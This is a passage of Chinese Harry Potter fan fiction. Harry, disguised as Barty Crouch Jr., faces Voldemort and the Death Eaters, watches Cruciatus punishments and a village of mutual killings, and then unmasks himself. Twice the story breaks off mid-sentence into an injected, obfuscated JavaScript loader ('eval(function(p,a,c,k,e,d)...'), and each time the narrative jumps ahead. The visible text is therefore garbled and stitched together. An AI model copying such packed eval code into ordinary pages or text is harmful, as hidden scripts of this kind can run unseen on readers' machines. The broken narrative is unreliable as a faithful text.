“显然,你的消息早过时了,亚克斯利。”哈利学着小克劳奇的语气,冷冷回应。 “有意思。”亚克斯利目光在他的面具上停了片刻,似笑非笑地说,“居然可以从阿兹卡班逃出来……看样子,你有不少故事要讲。” “故事?”哈利冷笑一声,“我的故事只讲给主人听。” 不远处,卡罗兄妹占据了大厅一隅。阿米库斯·卡罗正在把玩着他的魔杖,而他的妹妹阿莱克托则在低声说着什么,不时发出刺耳的咯咯笑声。老克拉布和老高尔站在不远处,像两尊粗笨的雕像。然而,最引人注目的景象却在角落。 卢修斯·马尔福瘫坐在一张轮椅上,曾经梳理得一丝不苟的铂金色长发现在乱糟糟地垂在脸侧。他的眼神涣散,嘴角挂着一丝口水,整个人像是被抽去了灵魂。纳西莎·马尔福站在他身后,双手死死扣住轮椅扶手。她没有戴面具——因为她不是食死徒,没有接受过黑魔标记。她的面容毫无血色,灰蓝色的眼眸只是麻木地凝视前方。 “真叫人唏嘘。”埃弗里走了过来,语气中满是虚伪的怜悯,“堂堂的马尔福家主,竟然沦落到这个地步。” “说话小心点,纳西莎·马尔福还在这儿。”诺特毫无诚意地提醒,话里却听得出几分幸灾乐祸。 除了哈利和斯内普,在场的食死徒都不知道卢修斯为什么会变成这个模样,但显然,他和他的妻子被当作某种警示物摆在这里。 忽然,大厅里所有的照明毫无预兆地熄灭了,整片空间陷入伸手不见五指的黑暗。食死徒们瞬间噤声,没有人敢贸然点亮光芒。 在这片漆黑中,一股令人窒息的威压缓缓压下。 哈利察觉到斯内普的手臂轻轻碰了他一下——这是让他保持镇定的暗号。他默默屏住呼吸,克制住想要握紧魔杖的冲动。 一个高大、消瘦的身影无声无息地现身,背对众人,站在落地窗前,俯瞰着山下的村庄。 月光透过窗子,勾勒出他狭长的轮廓,无形的压迫感迫使每个人都不自觉地垂下眼帘。 壁炉轰然冒出一团幽绿的火焰,火舌舔上石壁,映得大厅里影影绰绰,光怪陆离。 终于,那个冰冷刺骨的声音响起:“我忠实的仆人们。”每个字都拖得很长,像蛇吐信子般嘶嘶作响,“还有……不那么忠实的。” 这话一出口,大厅里的气氛紧张到了极点,恐惧在沉默中无限发酵。没有人敢发出声音。哈利能感觉到身边的斯内普微微绷紧了身体。 “十二年。”伏地魔继续说道,依然没有转身,“你们当中,有些人等了我十二年。还有一些人……选择了遗忘,选择了背叛,选择相信我已经被打败的谎言。” 这下连呼吸声都消失了。 伏地魔慢慢转过身,月光照在那张苍白的蛇脸上。他脸上没有鼻子,只有两条狭窄的裂缝,猩红的眼睛像深渊里的火光,冷冷扫视着在场的每一个人。 “摘下你们的面具。”他命令。 食死徒们纷纷顺从地摘下面具,露出一张张紧张、狂热或谄媚的面孔。 伏地魔的目光慢悠悠地扫过每张面孔,在那双血红眼睛的注视下,仿佛所有的秘密都无所遁形。 “诺特。”他拉长了语调,“你老了。” 诺特微微躬身:“为您效力是我的荣幸,主人。” “是吗?”伏地魔冷笑了一声,“那过去十二年,你在哪里?” “我一直在等待,主人。”诺特平静地答道,“等待您的召唤。” “等待。”伏地魔轻哼一声,声音里透着讥讽,“多么方便的借口。” 他转头看向埃弗里:“你呢,我的老朋友?也在‘等待’?” 埃弗里表现得比诺特要夸张得多,他直接跪倒在地:“主人,我们以为您……我们不知道该如何找到您。但我们从未背叛!我的金库,我的人脉,都在为您的回归而做着准备!” 伏地魔挑了挑眉。“金库。”他若有所思地重复了一遍。“倒是提醒了我。”他一挥手。“起来吧,埃弗里。你的……忠诚,会有回报的。” 埃弗里小心翼翼地爬起身,额头上满是冷汗。 “亚克斯利。”伏地魔的目光移了过去,“我听说你在魔法部混得不错?” “一切都是为了您的事业,主人。”亚克斯利恭恭敬敬地答道。 “魔法部现在什么情况?” “福吉还在掌权,主人。”亚克斯利立即回道,“他胆小得很,绝不会怀疑到您。” “很好。让他们继续活在美梦里吧。”伏地魔露出一抹冰冷的笑意,“等他们醒来的时候,一切都晚了。” 他的眼神落在了卡罗兄妹身上:“阿米库斯,阿莱克托。我最……热情的仆人。” 阿米库斯咧嘴笑起来,露出一排发黄的牙齿。“主人,请给我们机会!让我们去清理那些泥巴种!” “会有机会的。”伏地魔承诺道,“很快。” 他接着挪动目光,继续点名游戏:“克拉布……高尔……” 每念到一个名字,那个人就会立刻表达自己的忠诚。唯独哈利扮的小克劳奇、斯内普和麦克尼尔没被点到——他们三个,再加上卢修斯·马尔福,是最早被伏地魔召回的核心食死徒,小克劳奇甚至早在两年前就开始重新为伏地魔效力。 等到最后一个名字念完,伏地魔慢慢扫视了一圈。 “我知道,有些懦夫选择了背叛……他们会付出代价。”他声音一沉,“当然,还有不少我们忠诚的朋友,依然被关在阿兹卡班……但他们不会等太久了。” 说完,他将目光转向角落。“还有……卢修斯。” 所有人都扭头去看马尔福夫妇。纳西莎身子明显抖了一下,但她还是站得笔直,下巴微微抬起。 “纳西莎。”伏地魔慢慢走近,“看看你的丈夫。这就是失败的下场。” 他伸出一只苍白的手,轻轻按了按卢修斯的头。卢修斯全身剧烈抽搐了一下,嘴里发出模糊不清的哼声。 “瞧瞧这个可怜虫。”伏地魔收回手,转身朝其他人说道,语气里毫不掩饰的轻蔑。“不过是一个小小的考验,他却这么轻易被诱惑,被自己的贪婪吞噬。真是……令人失望。” 几名食死徒发出谄媚的笑声,大多数人却保持着沉默。纳西莎脸色煞白,却始终没有开口。 “不过,他还能活着,已经算是我的仁慈了。”伏地魔接着道,“毕竟,他是在替我办事时出的事。你该感激才对。” 纳西莎低下了头:“是的……主人。” “很好。”伏地魔似乎对她的顺从很满意,“现在,让我向你们展示一些……美妙的东西。” 他举起魔杖,指向落地窗。玻璃表面泛起涟漪,如同水面般波动,随后窗外的景象被拉近,小汉格顿村的惨状清晰呈现在众人眼前,仿佛一幅活生生的地狱画卷。 “美丽,不是吗?”伏地魔说话时透着一种诡异的兴奋,“不过,我们可以看看得更仔细些。” 画面俯冲而下,穿过一扇窗户。 客厅里,一个中年男人倒在沙发旁,手里还握着把断裂的刀。他的妻子倒在他身侧,指甲深深掐进丈夫的脖颈,血已经干涸成暗褐色。画面一转,另一间屋子里,两个年轻人纠缠在一起。哥哥勒住弟弟的脖子,而弟弟手中的斧头已深深砍入哥哥的后背。 “主人……”亚克斯利忍不住开口,嗓音微微发颤,“他们是……” “继续看。”伏地魔冷冷打断他。 画面飞快掠过一间又一间屋子。到处是相似的场景:亲人反目,朋友互杀,邻里相斗。最让人毛骨悚然的是,所有死者脸上都带着那种诡异的表情,仿佛在生命的最后一刻从某种束缚中解脱出来。 卡罗兄妹一脸兴奋,阿米库斯低低地笑出声,阿莱克托则兴奋得搓着手。其他食死徒大多神色各异,有的附和地点了点头,有的保持着沉默。 哈利盯着画面里那些冰冷凝固的场景,心头发紧。整座村庄,仿佛被连根拔起般清空了生机。 “你们以为看到的是什么?”伏地魔问道,“屠杀?毁灭?不……你们看到的是艺术。是我赐予这个腐朽世界的一份礼物。” 他转过身,赤红的双眼在兴奋中几乎发光:“他们不是死在我的魔杖之下,也不是任何你们知道的咒语。他们死在彼此手中,死于被释放的真相。” “主人?”麦克尼尔壮着胆子开口,“您的意思是……” “爱。”伏地魔吐出这个词,像在提及什么肮脏的东西,““不过是弱者的自我欺骗。一旦撕去伪装,剩下的只有恨和厌恶。瞧瞧他们——丈夫杀死妻子,母亲扼死孩子,邻居互相残杀……这,才是人性的真面目!” 哈利强忍着反胃的冲动。他用余光瞥了一眼斯内普,见他脸上也闪过一丝异样的神色。 “主人,这是什么魔法?”亚克斯利眼底流露出贪婪,“如此强大——” 伏地魔的眼神骤然冰冷,落在亚克斯利身上:“你以为这是你能够掌握的力量,亚克斯利?” 亚克斯利立刻垂下头:“不,主人,我只是——” “你以为这不过是挥挥魔杖的小伎俩?”伏地魔声音轻柔,却让人背脊发凉,“这是我在超越生死的道路上悟出的真理。你那点微不足道的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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哈利心中一凛。他听懂了。即便是伏地魔,也不可能对两百多人同时施咒。他一定用了某种未知的手段。不论那是什么,它都对凤凰社构成了前所未有的威胁——如果这种“奇迹”可以被复制,后果将不堪设想。 他心中隐隐不安,他总觉得自己遗漏了什么关键的信息,可任凭他怎么想,都抓不住那一丝念头。 “安静。”伏地魔抬手,大厅瞬时鸦雀无声。 “现在,”他淡淡道,随手一挥,窗户恢复原状。“在我们继续庆祝之前——有些旧账需要清算。” 伏地魔目光落在哈利身上,这是他今晚第一次叫他的名字。 “巴蒂,过来。” —————— 哈利走到圆圈中央,能感到所有人的目光齐刷刷落在他身上。那种被审视的感觉让他后颈发紧,但他强迫自己保持镇定。 “主人。”他单膝跪地,声音里透出恭敬,还有一丝刻意为之的惶恐。 “起来。”伏地魔命令道,“让我好好看看你。” 哈利站起身,但保持着略微低头的姿态。 “两个月十二天。”伏地魔慢慢绕着他走,长袍拖过地面发出细微的摩擦声,像蛇在石板上滑行,“你消失了这么久,巴蒂。我记得一清二楚。我派你与卢修斯去取回我的东西——一个简单得不能再简单的任务。” 他停在哈利面前,血红的瞳孔微微眯起,“结果呢?卢修斯成了个废物,而你……销声匿迹。” 房间里的温度骤降。哈利能感觉到周围食死徒们的目光——有幸灾乐祸的,有紧张不安的,更多的是冷漠旁观。 “主人,我——” “抬起头。”伏地魔打断了他,魔杖突然抵住哈利的下巴,强迫他仰起头,“看着我的眼睛。” 哈利只能服从。他抬头迎向那双赤红的眼睛,深不见底,满是恶意和疯狂。魔杖的尖端微微施压,他的喉结不自觉地动了动。 “告诉我。”伏地魔声音低沉冰冷,“冈特老宅的任务,究竟发生了什么?别妄想对我撒谎。” 下一刻,伏地魔眼中光芒骤亮,精神力瞬间压向哈利——摄神取念,来得猝不及防。 哈利心头一紧,连忙稳住心神。他早有准备,多年的傲罗训练让他的大脑封闭术早已炉火纯青。再加上他很肯定自己现在和伏地魔之间并没有通过额头的伤疤连接,普通的摄神取念对他而言并不难对付。 他故意放开一部分外围记忆——与卢修斯进入老宅、破解外层咒语、误触陷阱陷入混乱……全是真的,更容易令人取信。 但当伏地魔试图探入更深的记忆时,哈利迅速将那部分内容扭曲割裂和打散。他制造出一道混沌图景——蠕动的墙壁、崩塌的地板、模糊的恐惧和惊叫,就像被诅咒震伤后的记忆创伤。 “主人,我和卢修斯按照您的指示前往老宅。”哈利低声说道,声音里带着恰到好处的颤抖,“开始一切顺利,我们破除了外围防护,进入了宅内。但是……” “但是什么?”伏地魔收回魔杖,但那双眼睛依然死死盯着他。 “卢修斯不小心触发了防御陷阱,我们被分开了。”哈利继续说道,同时让自己的记忆显得模糊混乱,“我记得我掉进一个奇怪的迷宫,然后……就失去了意识。等我醒来,卢修斯已经昏迷不醒,我也不清楚自己是怎么逃出来的。” 伏地魔神情未变,“然后呢?” “我发现有傲罗接近。”哈利继续编织谎言,“为了不暴露,我只能先把卢修斯藏起来。但他们似乎掌握了什么线索,一直在追踪我。我受了很重的伤,花了很长时间才恢复。” “傲罗?”伏地魔的声音柔和得令人毛骨悚然,“区区几个傲罗就能让我最忠诚的仆人躲藏两个月?“ 哈利咬紧牙关:“是我的无能,主人。我本应该——” “借口。” 伏地魔的眼神仍钉在他脸上,但声音忽然变得若有所思:“不过,冈特老宅确实……比较特别。那些防护魔法,我当年可是亲手布设的。” 他转头看向卢修斯:“看来那些防御魔法,比我想象的更出色。卢修斯那点可怜的脑子承受不了。” 角落里的纳西莎在微微颤抖。 “告诉我,巴蒂。”伏地魔目光再度落回哈利,“你是怎么逃脱的?既然陷阱如此危险,为什么你能保持神智?” 哈利刻意露出一丝迷惘:“我……我也不确定,主人。我记得在幻境中看到了很多可怕的幻象……也许是因为我曾在阿兹卡班待过太久,对精神攻击……有些抗性?” 伏地魔一言不发,赤红的眼睛死死盯着他,仿佛要看穿他的一切。哈利能感觉到那股精神力量仍在他意识边缘徘徊,试图找到破绽。他的太阳穴突突跳动,背脊一阵发紧,冷汗沿着脊背滑下。 片刻后,那股精神压迫才慢慢退去。 “阿兹卡班……”伏地魔轻声重复,“是的,那个地方确实能……锻炼一个人的精神。看来你的经历并非全无益处。” 他说得很慢,像是在故意吊着他,“你的解释……勉强可以接受。” “不过,巴蒂——”他的语气又突然一转,“失败,依旧是失败。” 伏地魔淡淡道,“你知道我最讨厌什么吗?无能的仆人总是能找到各种借口来掩饰自己的失败。上一次,你给我带回来一个毫无用处的赝品。而这一次,你又空手而归。这是你第二次,让我失望了。” 哈利刚松下的一口气又悬了起来。他知道接下来会发生什么——伏地魔最喜欢的惩罚方式。 “失败,”伏地魔目光一转,落在斯内普身上,嘴角勾起一丝冷笑,“必须付出代价。” “西弗勒斯。” 斯内普微微抬头,神色如常地等待着命令。 “我记得你对钻心咒颇有心得。”伏地魔轻描淡写地吩咐,带上了残忍的愉悦,“给他一个教训。让他记住这次失败。” 107. 归来(下) 斯内普站在原地,手里已经握紧了魔杖。 壁炉中的绿火将每个人的脸映衬得青白如同鬼魂一般。空气压抑得能清楚听见每个人的呼吸,角落里十几双眼睛饥渴地等待着一场好戏。亚克斯利靠在墙边,嘴角挂着轻蔑的笑意。阿米库斯·卡罗咧嘴龇出一口黄牙,他妹妹阿莱克托兴奋地搓着手。其他食死徒的脸上都露出期待的表情——他们渴望看到鲜血,渴望欣赏痛苦。 “西弗勒斯?” 斯内普没有动,目光定定地盯着虚空中的某一点。 “你在等什么?”伏地魔嘶哑地催促,声音如蛇一般阴冷滑腻,“我最得力的仆人,难道要让我失望吗?” “当然不,主人。”斯内普终于开了口。 麦克尼尔发出一声尖利的冷笑:“斯内普教授该不会是在霍格沃兹待得太久,忘记怎么惩罚叛徒了吧?” “还是舍不得下手?”亚克斯利阴阳怪气地补了一句,眼底透着恶意,“你们关系似乎挺亲密嘛。” “闭嘴。”斯内普面无表情地瞥了他们一眼。 他的目光终于移到哈利身上,那双黑眼睛如同冰封的湖面,底下暗流汹涌。 哈利微不可察地点了下头,动作极为轻微,但他知道斯内普一定看见了。 斯内普举起了魔杖。乌木杖身在绿焰映照下泛着森冷的光泽。所有人都屏住了呼吸,注视着他的动作。斯内普的眼睛在那一刻被抽空了所有情绪,只剩下一片冰冷而空洞的黑暗。他喉结轻微滚动一下,毫不犹豫地施出咒语: “钻心剜骨。” 语气平淡得如同念一句再寻常不过的咒语。 红色的光线毫不留情地击中了哈利。剧痛瞬间蔓延全身,他膝盖狠狠地砸在了石板上,全身肌肉不受控制地抽搐,脊背剧烈地弓起。他死死咬住舌尖,口中顿时充满了浓重的血腥味,可无论如何,他绝不能发出一点声音。 “瞧瞧!”阿莱克托兴奋地拍手,“小巴蒂像条虫子一样在地上挣扎!” “这就是最忠诚的仆人?”诺特在角落里冷笑,“不过如此。” “我还以为他能叫得再大声点呢。”阿米库斯失望地咕哝了一句。 哈利的视线早已模糊成一片,他咬牙忍受着漫长到似乎永无尽头的剧痛,只有视野尽头那抹黑色的身影还算清晰。斯内普依然稳稳地举着魔杖,姿势挑不出任何瑕疵。奇怪的是,仅仅看着他,哈利就觉得痛苦稍微减轻了一些,仿佛只要斯内普站在那里,他就能熬过这一切。 不知道过了多久,伏地魔冰冷的声音像从遥远的地方传来—— “可以了。” 咒语停了。哈利瘫在地上大口喘息,全身早已被冷汗浸透。他能感受到地板寒彻骨髓,但至少钻心咒的剧痛暂时结束了。 “爬起来。”伏地魔冷淡地命令。 哈利咬紧牙关,用尽全力才勉强站起身,但双腿仍在剧烈颤抖。他快速瞥了斯内普一眼,随即迅速移开视线。 “感谢您的教诲,主人。”哈利垂下头,竭力装出恭顺与感激。 “记住这个教训。”伏地魔似乎已对他失去兴趣,转而望向斯内普,“西弗勒斯,你的手法一如既往的精准。” “荣幸之至。”斯内普低下头,不动声色地将魔杖收回袖中。 伏地魔的目光依旧停留在他身上,语调变得意味深长:“那么现在——该轮到你了。” 哈利心脏猛地一缩,但斯内普已经毫无迟疑地迈出了一步。 “我赐予你们通过黑魔标记传讯的能力。”伏地魔的魔杖在指间慢慢转动,“但我相信我说得很清楚,那只是紧急情况下才准使用的特权。” “是的,主人。”斯内普语气如常地回答。 “那么——”伏地魔拖长了音调,“到底是什么紧急情况,让你觉得非动用不可?什么事情值得你冒着风险联系巴蒂?” 大厅的空气顿时冷了几分。 “我在霍格沃兹截获了一条重要消息。”斯内普的语气没有丝毫波动,“邓布利多发现了您要找的一些东西。他拿到了一件。” 伏地魔停下了魔杖的动作:“‘截获’?真是有趣的措辞,西弗勒斯。” 他逼近一步:“你的消息来自哪里?麦格?弗立维?不,不会是他们……难道是邓布利多身边某个更亲近的人?” 斯内普短暂地犹豫了一瞬——但就是这片刻停顿,伏地魔显然已经注意到了。 “有意思。”伏地魔喉咙里发出一声低沉的笑,“你在保护谁吗?还是——根本没有这个人?” “是洛哈特。”斯内普立刻回答。 “吉德罗·洛哈特?”伏地魔挑眉,“那个所谓的传奇巫师?说下去。” “两个多月前的教工聚餐,洛哈特喝多了,忍不住开始炫耀。”斯内普谨慎地说,“他提到邓布利多交给他一项任务——转移一件重要物品,必须两名顶级巫师配合才能完成,防护咒语复杂得连他都感到棘手。当然,他声称只有自己才能完美完成任务。” “两个月前?”伏地魔的眼睛微微眯起。 “是的,主人。我设法从他那里套出了具体的转移地点和时间。”斯内普斟酌着措辞,“时间紧迫,我判断必须立即行动。” “于是你联系了巴蒂?” “机会稍纵即逝,他是唯一可能及时赶到的人。”斯内普回答,“况且,他清楚那物品的重要性。” “是的,主人。”哈利补充道,“正是在我和卢修斯去执行任务的时候。斯内普一收到消息就马上通过黑魔标记通知我……” 他咬着牙站直了些,声音带着虚弱:“但当时我和卢修斯已经陷入了陷阱,错过了最佳的时机。那件物品已经被转移到了新的位置,不过肯定仍在霍格沃兹城堡内。” “后来呢?”伏地魔的语气变冷了。 “转移已经完成。”斯内普承认道,“洛哈特之后对此事绝口不提,显然被下了保密咒。” “两个月过去了。”伏地魔在原地踱着步,“这整整两个月,你们做了些什么?” “我们一直在寻找那件物品的新位置,主人。”斯内普低下头,“我仔细搜查了霍格沃兹的几条密道,巴蒂也在他能接触的范围内调查……我们本来打算……” 他短暂停顿了一下:“我们本想等找到确切位置后,再向您汇报成功的消息,而不是又一次的失败。” “愚蠢。”伏地魔语气里出透寒意,“你们以为能瞒过邓布利多的眼睛?你们以为凭自己的能力就能找到他藏起来的东西?” 他突然转过身面对着两人,眼神如毒蛇一般冷酷:“更愚蠢的是,你们居然自作聪明,反而耽误了最佳的时机。” “如果能再早一点……”他的目光越发阴森,“我或许还能通过别的方式追查线索。现在?所有痕迹都凉透了。” “我们曾试图补救,主人,”斯内普解释道,“但邓布利多的防护……” “行了。”伏地魔突然打断,脸上的表情让人捉摸不透,“邓布利多。总是他。一次又一次地阻挠我的计划。” 他重新看向斯内普:“继续监视。找到那件东西的确切位置。” “是,主人。” 哈利暗中松了口气,注意到斯内普紧绷的肩膀也略微放松了一些。最危险的时刻似乎已经过去。虽然挨了一道钻心咒,他们的说辞总算蒙混过关,身份也暂时未暴露—— “啊,不过……”伏地魔话锋一转,好像才想起一个无关紧要的小问题,“还有一件小事让我有些困惑,也许巴蒂能替我解答一下。关于……我发现的一些颇为有趣的事。” 他的嘴角向上牵起,形成一个扭曲的笑容,随意地朝人群里勾了勾手指:“纳西莎,把你的丈夫带过来。” 纳西莎沉默地推着卢修斯的轮椅上前,她的脸色依然苍白,神情却异常平静。 “我亲爱的卢修斯。”伏地魔低头望着轮椅上的人,语气带着虚伪的怜悯,“虽然你的脑子已经破烂不堪,不过没关系——我还是能从你破碎的记忆里挖出些有用的东西。” 他一挥魔杖,杖尖抵住卢修斯的太阳穴。银色的记忆丝丝缕缕地流出,在半空中舒展开来,化作一幅清晰的影像。当詹姆斯·波特和小天狼星·布莱克的身影浮现时,大厅内掀起一阵低低的骚动。 “哦?”伏地魔的声调变得甜腻如蜜,“瞧瞧这两位是谁。” 哈利只觉脚下的地面仿佛摇摇欲坠,下一瞬便要坠入无底深渊。斯内普的眉头微微抽动了一下。 峡谷之屋的地下室里,詹姆斯蹲了下来,皱眉查看痴呆的卢修斯,小天狼星则警惕地守在一旁。 阿米库斯发出一声鄙夷的笑:“废物!竟然被这两个家伙抓住了!” 画面一转,深夜的马尔福庄园大门前,詹姆斯冷着脸,将卢修斯扔在大门口,随即转身隐入黑暗。 食死徒们开始窃窃私语。 “詹姆斯·波特和小天狼星·布莱克。”伏地魔嗓音里溢满恶毒的快意,“鼎鼎大名的傲罗搭档,凤凰社的骨干,邓布利多最信赖的战士。真有趣,他们对我的仆人似乎格外……宽容。” 他徐徐转过身,赤红的眼睛死死盯住哈利:“巴蒂,你说过你被傲罗追捕。看来这部分倒是真话。” 哈利咬紧牙关,强压住翻涌的情绪:“是的,主人。他们不知怎么发现了我们的行踪。” “波特和布莱克可不是什么心慈手软的人。”伏地魔一步一步地靠近,“他们送进阿兹卡班的食死徒,没有一打也有七八个。” 他越靠越近,哈利几乎能嗅到他身上那股腐朽的气息,就像从坟墓深处带出来的恶臭。 “我很好奇,巴蒂,”伏地魔低声质问,“这两个以冷酷无情著称的傲罗,为什么会将一个落到他们手中的食死徒,毫发无伤地送回家?而不是押回魔法部审讯?” “主人,或许他们只是——”斯内普试图开口。 “我没在问你,西弗勒斯。”伏地魔冷冷打断,视线始终没有从哈利身上移开。 “我……我不清楚,主人。”哈利脑中飞快转动,“当时我和卢修斯已经分开。也许他们想用他做诱饵?好从他这里找到更多人——” “诱饵?”伏地魔轻笑一声,笑声里没有一丝温度,“一个神智不清、连自己名字都记不住的诱饵?” “撒谎!” 伏地魔突然暴怒起来,咆哮声震得窗户嗡嗡作响。 “波特和布莱克,这两个最难对付的傲罗,会这么轻易放走猎物?”伏地魔压下怒意,语气变得异常阴冷,“除非,他们有更加充分的理由。” 亚克斯利慢悠悠地开口:“主人,会不会我们中间有内鬼?有人暗通凤凰社……” “内鬼……”伏地魔咀嚼着这个词,目光缓慢扫过每一张紧绷的脸,“也许你说得没错,亚克斯利,也许真的有人在背叛我。不过没关系。既然有人想背叛我,那么我就让所有人都看清楚,背叛的代价是什么。” 他扫了一眼大厅角落里的卢修斯,“从最明显的失败者开始吧。纳西莎,你的丈夫让我非常失望。” “您说得对,主人,”纳西莎淡淡地回答,“他的失败让整个马尔福家族蒙羞。” “那么,你觉得该如何处置这个废物?” 纳西莎垂眼看向轮椅上的卢修斯,灰蓝色的眸子里燃起一团令人胆寒的火焰:“杀了他。”她语调中带着病态的渴望,“请允许我亲自了结这个废物的生命,他根本不配活着。” “这么无情?他可是你的丈夫。”伏地魔似笑非笑地问道。 “他让我恶心。”纳西莎的手已经握上魔杖,“每次看到这个懦弱无能的家伙,我都想吐。” 她的声音渐渐高了起来:“让我杀了他吧,主人!让我清理掉这个耻辱!” “不。”伏地魔轻轻摇头,“他还有点用处。但你可以……适当地表达你的不满。” 纳西莎的眼底骤然亮起一抹狂热的光芒。她优雅地抽出魔杖,杖尖直指卢修斯: “钻心剜骨!” 咒语出口的刹那,她的脸上绽开一抹灿烂的笑。卢修斯开始剧烈地痉挛,发出撕心裂肺的惨叫,本能地想逃,却被固定在轮椅上动弹不得。而纳西莎只是痴迷地欣赏丈夫挣扎的模样。 “瞧瞧你现在的模样。”她轻声呢喃,手腕却稳稳维持着咒语,“像一条扭动的虫子。我真想把你的脑袋拧下来,看看里面是不是早就烂透了。” “你知道吗?我每天晚上都梦见把你碎尸万段。可惜主人不让我杀了你——但这样也不错,我可以慢慢享受。” 卢修斯的惨叫变了调,像被宰杀的猪发出的垂死挣扎。他的手指疯狂地抓挠着轮椅扶手,留下道道血痕。 诺特不动声色地后退了一步。亚克斯利的脸色明显发白。即便是一贯残忍的卡罗兄妹也不再笑了,阿莱克托甚至下意识地咽了口唾沫。 “停下吧。”伏地魔轻描淡写地说。 纳西莎极不情愿地收回魔杖,但脸上还带着那种真心实意的恨意。她舔了舔嘴唇,那个动作让在场的人无不感到背后一阵发寒。 “你们看,”伏地魔转向众人,语气轻松得像在讲解一件小事,“这就是失败者的下场。哪怕是最亲密的人,也可能变成你的敌人。” 他转而审视着哈利:“好了,巴蒂。我们刚才说到哪儿了?啊,对——波特和布莱克,可不能忘了他们。”他向窗边,魔杖随意一划:“让我们看看,你口中那两位‘仁慈’的傲罗,现在在忙些什么。” 玻璃表面出现了细微的波动,很快呈现出清晰的画面—— 小汉格顿村惨烈的现场再度显现。詹姆斯·波特正蹲在一具尸体旁检查,脸色阴沉而愤怒。小天狼星·布莱克站在一旁,和金斯莱·沙克尔低声交谈。 “看看他们多么尽职。”伏地魔嗤笑道,语气满是嘲讽,“为了那些死去的麻瓜和泥巴种,竟然这么费心费力。” “他们调查了一整天,却一无所获。”画面中,詹姆斯站起来,明显和金斯莱有些争执,“没有黑魔标记,没有咒语残留。他们根本不知道是谁干的。” 金斯莱指了指渐暗的天色,好像在劝他们离开。詹姆斯摇头,似乎不想走,但小天狼星拍了拍他的肩膀。 “瞧,他们准备离开了,”伏地魔轻笑出声,“带着满腹疑问离开。他们不是想追查真相吗?为什么不邀请他们过来聊聊呢?哦,也许还能顺便问问,为什么他们对食死徒如此网开一面。” 哈利觉得自己的脉搏剧烈地跳动起来。 “巴蒂,我现在赐予你这个荣耀——去把他们中的一个请来。以你的能力,这不会难办吧。你可以选一个喜欢的,波特还是布莱克?” “主人!”阿莱克托·卡罗兴奋地跳出来,“让我去抓另一个!我保证——” “很好。”伏地魔满意地笑了,“阿莱克托会协助你行动。你选一个,剩下的那个,就交给阿莱克托来处理。” 阿莱克托发出刺耳的尖笑,显然已经迫不及待了。 哈利的心脏几乎停止跳动。选择?让他亲自挑一个亲人送进死局?而另一个会落入阿莱克托那个疯女人手里? 他当然相信父亲和小天狼星的实力——他们是最优秀的傲罗,身经百战。可刚才的那些画面让他如坠冰窟:伏地魔一直在监视他们,知道他们的一举一动。如果伏地魔临时改变主意,派出更多食死徒呢?如果不止阿莱克托,还有其他食死徒一起行动呢? 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他要开始演另一场戏了。 “我说,汤姆·马沃罗·里德尔。”哈利清晰地重复了一遍,“你真的以为,我会是小巴蒂·克劳奇那个可怜虫吗?” “不可能!”麦克尼尔失声惊叫,“小克劳奇是假的?这怎么可能——” “闭嘴!”伏地魔厉声咆哮,但他的注意力全在哈利身上,“你到底是谁?” 哈利沉着地环视了一圈,目光缓缓扫过众人惊愕的脸庞。斯内普脸上那一闪而过的错愕,在此时的骚乱中显得尤为真实。他甚至下意识地向后退了半步,完美地掩藏在周围慌乱的人群中。 “这才是个好问题。”哈利露出一个嘲讽的微笑,“我从来都不是你的仆人,里德尔。从我出现在你面前的第一天起,你就被我牵着鼻子走。你看到的每一个情报,每一次行动,都是我特意安排给你的。” “够了!”阿米库斯·卡罗举起魔杖尖叫,“让我宰了这个——” 伏地魔猛地挥动魔杖,一道无形的力量将卡罗狠狠地甩向墙壁,重重的撞击声伴随着鲜血在墙面上留下可怖的印记。他瘫倒在地,半天爬不起来。 “让他说完。”伏地魔的声音重归阴冷平静,“你是邓布利多的人?” “邓布利多?”哈利轻蔑地摇头,“他那些爱与牺牲的说教,和你对永生的痴迷一样可笑。我效忠的是更伟大的意志,里德尔。” 他向前迈了一步。十几根魔杖立即齐齐对准了他,但他完全不为所动。 “当你还躲在阴影中惧怕一个婴儿时,真正的棋手早已在布局整个未来。当你和邓布利多还在玩你们幼稚的战争游戏时,一场真正的棋局早就开始了。” 伏地魔的脸色发生了微妙的变化。 “让我问你一个简单的问题,里德尔。”哈利稍稍歪了歪头,“你为什么要消失整整十二年?又为什么偏偏选在这个时候回来?” 整个大厅陷入了死寂。 “因为你怕了。”哈利低声说道,“你害怕那个预言,害怕那个拥有‘你所不知道力量’的男孩。所以,等你从某些渠道确认他死了,你才敢从你的老鼠洞里爬出来。” “但如果——”他故意顿住,盯着伏地魔的眼睛,“如果那个男孩的死亡仅仅是一场更庞大计划的开端呢?如果早就有人在等你现身呢?” 伏地魔的瞳孔骤缩,嘴角的肌肉不自然地抽搐了一下。 “预言说‘标记他为劲敌的人’——”哈利继续说道,“可谁说被标记的,一定是那个哈利·波特?”他微微一笑,“哦,对了,你见过你自己的失败,不是吗?可惜,预言这东西很狡猾,里德尔。或许你该怕的,根本不是那个男孩。” “你在虚张声势!”伏地魔终于爆发了,但声音里却透出了一丝无法掩盖的动摇。 “也许吧。”哈利耸了耸肩,“但如果我是你,里德尔,我会更谨慎一点。毕竟上一次,你也以为万无一失,结果呢?” 他最后一次扫过人群,目光停留在斯内普脸上片刻,眼底闪过一丝歉意。 “至于西弗勒斯·斯内普……”这些话很残忍,但为了保护他,必须说出口,“不过是个被我玩弄于股掌的可怜虫。我利用他对你的‘忠诚’,让他心甘情愿地为我传递假情报。他可真是个完美的工具。” 斯内普的反应堪称完美。他的脸骤然苍白如纸,身体向后跄了一步,握着魔杖的手微微颤抖着。那双素来冷漠的黑眼睛,此刻满是被背叛的痛苦和错愕。 “够了!”伏地魔彻底失控地咆哮道,“不管你是谁,不管你为谁效力,今天你都得死在这里!” “在你动手之前——”哈利的手已经悄悄探入内袋,手指碰触到了门钥匙冰凉的表面,“我还有最后一句话告诉你。” 